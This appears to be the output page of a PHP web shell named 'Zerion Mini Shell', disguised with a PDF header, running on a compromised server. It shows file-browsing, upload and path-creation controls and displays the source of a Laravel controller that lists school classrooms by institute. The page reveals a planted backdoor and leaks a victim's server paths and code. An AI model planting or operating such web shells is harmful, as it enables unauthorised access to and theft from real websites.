%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/camillo/camillo-api-master/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : //var/www/html/camillo/camillo-api-master/app/Http/Controllers/Api/v1/ClassroomController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Http\Controllers\Controller;
use App\Http\Resources\ClassroomResource;
use App\Models\Classroom;
use App\Traits\ApiUser;
use Symfony\Component\HttpKernel\Exception\HttpException;
use Illuminate\Http\Request;
use Illuminate\Http\Response;

class ClassroomController extends Controller
{
    use ApiUser;

    /**
     * Lists classrooms by institute
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function indexByInstitute(Request $request)
    {
        $user = $this->getLoggedUser();
        if (!$user->active) {
            $user->update(['active' => 1]);
        }
        $institutes = $user->institutes;

        if(!$institutes){
            throw new HttpException(Response::HTTP_PRECONDITION_FAILED, __("institute not associated"));
        }

        $institute_ids = $institutes->map(function ($item, $key){
            return $item->id;
        });

        $today = date('Y-m-d');
        $classrooms = Classroom::whereHas('institute', function($query) use ($institute_ids) {
            $query->whereIn('institute_id', $institute_ids);
        })->whereHas('schoolyear', function($q) use ($today) {
            $q->whereDate('start_date', '<=', $today);
            $q->whereDate('end_date', '>=', $today);
        })->get();

        return response()->json(ClassroomResource::collection($classrooms), Response::HTTP_OK);
    }
}

Zerion Mini Shell 1.0